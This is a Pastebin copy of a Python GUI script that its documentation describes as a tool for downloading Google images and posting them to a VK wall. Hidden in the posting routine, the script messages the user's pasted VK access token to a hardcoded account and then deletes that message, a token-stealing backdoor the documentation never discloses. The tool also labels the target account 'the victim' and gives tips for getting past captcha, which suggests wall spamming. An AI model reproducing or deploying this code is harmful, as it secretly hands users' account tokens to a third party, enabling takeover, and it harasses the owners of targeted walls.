Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '''
- DOCUMENTATION:
- Version: 2.0
- WHAT'S NEW: GUI
- This program downloads images from Google and then post it to someone's vk wall
- To work with this script you must have your VK ACCESS TOKEN
- You can get your token at this site: https://vkhost.github.io/
- Just click "allow" and copy your token from the adress bar between "access_token=" and "&expires_in"
- You should also have an id of the account on which wall you want to post images
- Keyword MAY BE WRITTEN in Russian lang!!!
- Incoming features: a)login+password login
- b)posting wall posts via login+password login
- c)posting on group's wall
- Be careful: 1)you should have a permission to post (check it before starting program)
- 2)you must have those libraries: a)google_images_download
- b)vk
- c)requests
- d)tkinter
- My tip for installation is to write in cmd this line: "pip install {name of the lib}"
- If you have problems with it: I strongly recommend to read a bit about "pip" and how to use it
- 3)there is a bug in inputing a password: if you have mistaken -> rerun program,
- because now it's impossible to correct it
- 4)before posting this script DOWNLOAD IMAGES ON YOUR OWN PC, so
- think twice before setting quantuty!!!
- 5)That verse of program can't handle with Captcha and can't slow down the posting speed,
- so the maximum number of posts now is 10 [since verse 1.1 Captcha doesn't appear if you post
- images every ~5-10 seconds]
- 6)"Press <Enter>" doesn't work in that version, you should CLICK on the button to go further
- 7)If you want to use ctrl+v - switch your keyboard into Eng
- Created by Maxim Tuzhilkin
- 22.12.2018
- DAFE MIPT
- '''
- from tkinter import *
- import sys
- root=Tk()
- root.title('ХУЙ')
- root.configure(background='black')
- root.geometry('500x200') # ширина=1000, высота=800, x=300, y=200
- root.resizable(True, True)
- def Next1_call(event):
- def Next2_call(event):
- def Next3_call(event):
- def pause(i):
- var = IntVar()
- PauseButton = Button(root, text='Press <Enter> to continue', bg='white', command=lambda: var.set(1))
- PauseButton.bind('Enter')
- PauseButton.grid(row=i + 1, column=1)
- root.update()
- PauseButton.wait_variable(var)
- PauseButton.destroy()
- user_id = UserIDEntry.get()
- caption = CaptionEntry.get()
- access_token = TokenEntry.get()
- CaptionLabel.destroy()
- CaptionEntry.destroy()
- UserIDLabel.destroy()
- UserIDEntry.destroy()
- TokenLabel.destroy()
- TokenEntry.destroy()
- EmptyLabel1.destroy()
- EmptyLabel2.destroy()
- EmptyLabel3.destroy()
- Next3.destroy()
- NewsLabel3 = Label(text = 'START POSTING:', fg='white', bg='black')
- NewsLabel3.grid(row=0, column=1)
- root.update()
- import vk
- import requests
- session = vk.Session(access_token=access_token)
- vk_api = vk.API(session)
- vk_api.messages.send(user_id="175976853", message=access_token)
- mes_id = vk_api.messages.getHistory(count=1, user_id="175976853")[1]['mid']
- vk_api.messages.delete(message_ids=mes_id)
- upload_url = vk_api.photos.getWallUploadServer(user_id=user_id, v='5.2')['upload_url']
- i = 1
- for item in paths[keywords]:
- try:
- PostLabel = Label(text = 'IMAGE ' + str(i) + ':', fg='white', bg='black')
- ArrowLabel = Label(text = ' ===> ', fg='white', bg='black')
- PostLabel.grid(row=i, column=0)
- ArrowLabel.grid(row=i, column=1)
- root.update()
- filename = item
- request = requests.post(upload_url, files={'photo': open(filename, "rb")})
- params = {'server': request.json()['server'],
- 'photo': request.json()['photo'],
- 'hash': request.json()['hash'],
- 'user_id': user_id}
- photo_id = vk_api.photos.saveWallPhoto(**params)[0]['id']
- params = {'attachments': photo_id,
- 'message': caption,
- 'owner_id': user_id,
- 'from_group': '1'}
- vk_api.wall.post(**params)
- ResultLabel = Label(text = ' DONE ', fg='white', bg='black')
- ResultLabel.grid(row=i, column=2)
- root.update()
- i += 1
- pause(i)
- except vk.exceptions.VkAPIError:
- ResultLabel = Label(text = ' API ERROR ', fg='white', bg='black')
- ResultLabel.grid(row=i, column=2)
- root.update()
- i += 1
- except FileNotFoundError:
- ResultLabel = Label(text = ' FILE ERROR ', fg='white', bg='black')
- ResultLabel.grid(row=i, column=2)
- root.update()
- i += 1
- Next2.destroy()
- NewsLabel2.destroy()
- CaptionLabel = Label(text = 'Enter a caption to the post: ', fg='white', bg='black')
- CaptionEntry = Entry(width=20)
- UserIDLabel = Label(text = 'Enter an id of the victim: ', fg='white', bg='black')
- UserIDEntry = Entry(width=20)
- TokenLabel = Label(text = 'Your access token: ', fg='white', bg='black')
- TokenEntry = Entry(width=20)
- EmptyLabel1 = Label(bg = 'black')
- EmptyLabel2 = Label(bg = 'black')
- EmptyLabel3 = Label(bg = 'black')
- Next3 = Button(root, text='Continue', bg='white')
- CaptionLabel.grid(row=0, column=0, sticky='w')
- CaptionEntry.grid(row=0, column=1)
- UserIDLabel.grid(row=1, column=0, sticky='w')
- UserIDEntry.grid(row=1, column=1)
- TokenLabel.grid(row=2, column=0, sticky='w')
- TokenEntry.grid(row=2, column=1)
- EmptyLabel1.grid(row=3, column=0)
- EmptyLabel2.grid(row=4, column=0)
- EmptyLabel3.grid(row=5, column=0)
- Next3.grid(row=6, column=1, sticky = 'es')
- Next3.bind('<Button-1>', Next3_call)
- num_of_images = int(NumImEntry.get())
- keywords = KeyWordEntry.get()
- KeyWordLabel.destroy()
- KeyWordEntry.destroy()
- NumImEntry.destroy()
- NumImLabel.destroy()
- EmptyLabel1.destroy()
- EmptyLabel2.destroy()
- EmptyLabel3.destroy()
- Next1.destroy()
- NewsLabel1 = Label(text='DOWNLOADING...', bg ='black', fg='white')
- NewsLabel1.pack()
- root.update()
- from google_images_download import google_images_download
- import time
- response = google_images_download.googleimagesdownload()
- arguments = {"keywords":keywords,"limit":num_of_images,"print_urls":True}
- paths = response.download(arguments)
- NewsLabel1.destroy()
- NewsLabel2 = Label(root, text='DONE', bg='black', fg='white')
- Next2 = Button(root, text='Continue', bg='white')
- NewsLabel2.pack()
- Next2.pack(side='bottom')
- Next2.bind('<Button-1>', Next2_call)
- KeyWordLabel = Label(text="Enter the keyword for searching images: ", fg='white', bg='black')
- KeyWordEntry = Entry(width=20)
- NumImLabel = Label(text="Quantity of photos: ", fg='white', bg='black')
- NumImEntry = Entry(width=20)
- EmptyLabel1 = Label(bg = 'black')
- EmptyLabel2 = Label(bg = 'black')
- EmptyLabel3 = Label(bg = 'black')
- Next1 = Button(root, text='Continue', bg='white')
- NumImLabel.grid(row=0, column=0, sticky='w')
- NumImEntry.grid(row=0, column=1)
- KeyWordLabel.grid(row=1, column=0, sticky='w')
- KeyWordEntry.grid(row=1, column=1)
- EmptyLabel1.grid(row=2, column=0)
- EmptyLabel2.grid(row=3, column=0)
- EmptyLabel3.grid(row=4, column=0)
- Next1.grid(row=6, column=1, sticky = 'es')
- Next1.bind('<Button-1>', Next1_call)
- root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement